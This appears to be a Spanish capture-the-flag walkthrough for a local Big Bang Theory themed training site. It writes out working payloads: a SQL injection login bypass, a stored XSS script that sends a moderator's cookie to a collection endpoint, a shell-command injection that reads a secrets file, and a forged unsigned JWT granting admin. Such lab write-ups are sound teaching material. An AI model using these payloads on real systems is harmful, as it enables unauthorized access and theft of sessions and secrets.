Diversión con Banderas

<head>
...
<!--
    Nota de producción (recordatorio interno, quitar antes de publicar):
    DCB{bazinga}
-->
</head>

Vulnerabilidad: nota de desarrollo olvidada en un comentario HTML que sí llega a producción.

1. Abre http://localhost:8080/ en el navegador (vale cualquier página del sitio, la flag está en la plantilla base que comparten todas).
2. Haz clic derecho → "Ver código fuente de la página", o pulsa Ctrl+U (en Firefox/Chrome).
3. Busca dentro de la etiqueta <head> un comentario HTML (<!-- ... -->) con una "nota de producción".

User-agent: *
Disallow: /el-sofa-de-sheldon
Disallow: /borrador-tesis-no-publicar
# Nota interna: mover /el-sofa-de-sheldon fuera de produccion antes de indexar

Vulnerabilidad: "seguridad por oscuridad" — ocultar una ruta privada listándola en robots.txt, público por definición.

1. Visita http://localhost:8080/robots.txt (con el navegador o con curl).
2. Fíjate en las líneas Disallow: — ahí es donde el propio sitio te dice qué rutas "no quiere" que mires.
3. Visita directamente la ruta indicada, /el-sofa-de-sheldon.

Vulnerabilidad: datos sensibles filtrados en los metadatos del PDF (campo Keywords). Un strings/grep ingenuo no lo encuentra porque el escritor de PDF comprime los objetos internos — hace falta una herramienta que parsee PDF de verdad (exiftool, pdfinfo).

1. Ve a http://localhost:8080/contrato-de-convivencia y pulsa "Descargar Contrato de Convivencia" (o descárgalo directo con curl -O).
2. Instala exiftool si no lo tienes (apt install exiftool / brew install exiftool), no uses strings o grep directamente sobre el PDF: no lo van a encontrar.
3. Ejecuta exiftool contrato_de_convivencia.pdf (o pdfinfo contrato_de_convivencia.pdf) y revisa todos los campos de metadatos que imprime.
4. Localiza el campo Keywords — ahí está la flag, mezclada con texto de relleno.

localhost:8080/pizarra

Vulnerabilidad: mensaje oculto en los bits menos significativos (LSB) del canal RGB del PNG.

1. Ve a http://localhost:8080/pizarra y descarga la imagen a tamaño completo (clic en ella, o curl -O .../static/img/pizarra_ecuaciones.png).
2. Ninguna herramienta de vista rápida va a mostrarte nada raro — hay que extraer los bits menos significativos de cada píxel, no basta con mirarla.
3. Ejecuta un script de extracción LSB (el de abajo vale tal cual) o prueba con una herramienta como zsteg / stegsolve mirando los planos de bits del rojo, verde y azul.
4. El mensaje extraído termina en el delimitador ::END:: — todo lo que va antes de ese delimitador es la flag.

Vulnerabilidad: el listado público solo muestra los IDs 1–4, pero el servidor acepta cualquier ID sin comprobar si está "publicado".

1. Ve a http://localhost:8080/fun-with-flags y observa que los episodios listados van numerados del 1 al 4.
2. La URL de cada episodio sigue el patrón /fun-with-flags/<id>. Edita la URL a mano y prueba IDs que no aparecen en el listado: empieza por 0, y si no diera resultado seguirías con 5, 99...
3. El ID 0 carga un episodio "piloto" que nunca se enlazó desde la página pública.

Vulnerabilidad: la consulta se construye concatenando la entrada del usuario. '1'='1' es siempre cierto y -- comenta el resto — la consulta devuelve el primer usuario sin conocer su contraseña real.

1. Ve a http://localhost:8080/comic-center.
2. En el campo Usuario escribe: ' OR '1'='1' -- (con un espacio después de los dos guiones).
3. En el campo Contraseña pon cualquier cosa, por ejemplo x — no importa, nunca llega a comprobarse.
4. Pulsa Entrar. Te redirige automáticamente a /comic-center/foro, ya autenticado como el primer usuario de la base de datos (stuart), sin haber usado su contraseña real.

Vulnerabilidad: los comentarios se renderizan con | safe (sin escapar HTML). Cualquier <script> publicado se ejecuta en el navegador de quien vea la página — incluida la moderadora que revisa cada comentario nuevo.

El payload exfiltra document.cookie de la moderadora hacia el buzón propio del jugador, identificado por su ID de sesión.

1. Visita http://localhost:8080/libro-de-visitas y copia el "ID de sesión" que muestra la página (es distinto cada vez que empiezas sesión de nuevo, así que usa el tuyo, no el del ejemplo).
2. En el campo Comentario, escribe un payload que, al ejecutarse como JavaScript, mande document.cookie a tu propio buzón: <script>fetch('/libro-de-visitas/exfil?player=TU_ID&c='+document.cookie)</script>
3. Rellena el campo Nombre con lo que quieras y pulsa Publicar comentario.
4. Espera un par de segundos — la "moderadora" revisa los comentarios nuevos justo después de cada publicación.
5. Visita http://localhost:8080/libro-de-visitas/buzon: ahí aparece la cookie de sesión de la moderadora, capturada por tu payload.

Vulnerabilidad: el nombre se concatena sin sanear en subprocess.run(f"grep -i '{'{nombre}'}' {'{ruta}'}", shell=True). Cerrando la comilla con ' y añadiendo ; se ejecutan comandos adicionales.

1. Ve a http://localhost:8080/protocolo-toc-toc.
2. En el campo Nombre a verificar, introduce un valor que cierre la comilla simple del comando y encadene uno propio: x'; cat /app/secrets_flag8.txt; echo '
3. Pulsa Verificar y lee el resultado — junto al mensaje habitual de "sin coincidencias" aparece la salida de tu comando inyectado.

La cadena ejecutada por el shell queda como tres comandos separados por ;: el grep original (inofensivo), el cat que lee un fichero fuera del alcance previsto por la app, y un echo de relleno para cerrar la sintaxis correctamente.

Vulnerabilidad: el panel confía en el alg que declara el propio token: si dice none, se salta la verificación de firma por completo. El secreto real (HS256) es aleatorio e infactible de adivinar — el fallo no está ahí.

1. Ve a http://localhost:8080/camara-de-damas y entra como invitado con cualquier nombre. Te redirige a /camara-de-damas/panel con una cookie camara_token nueva.
2. Abre las DevTools del navegador (F12 → pestaña Application/Storage → Cookies) e inspecciona el valor de camara_token: es un JWT normal, header.payload.firma separados por puntos. Decodifícalo en jwt.io para ver su estructura — role: "guest".
3. Construye tu propio token con cabecera {"alg":"none","typ":"JWT"} y payload {"nombre":"Sheldon","role":"admin"}, codificados en Base64URL y sin firma (el token termina en un punto seguido de nada): usa el script de más abajo.
4. Sustituye el valor de la cookie camara_token por tu token forjado (desde las DevTools, o con curl --cookie).
5. Recarga /camara-de-damas/panel: ahora el rol es admin y se muestra la flag.

Vulnerabilidad: ninguna técnica — es ofuscación en dos capas (Base64 sobre hexadecimal), no cifrado real.

1. Ve a http://localhost:8080/caja-fuerte-de-meemaw y copia el bloque de texto codificado que deja Meemaw.
2. Decodifícalo de Base64 (con base64 -d, CyberChef, o Python base64.b64decode(...)). El resultado es una cadena de caracteres hexadecimales, no la flag todavía.
3. Decodifica esa cadena hexadecimal a texto ASCII (xxd -r -p, o bytes.fromhex(...) en Python). Ahí sí aparece la flag completa.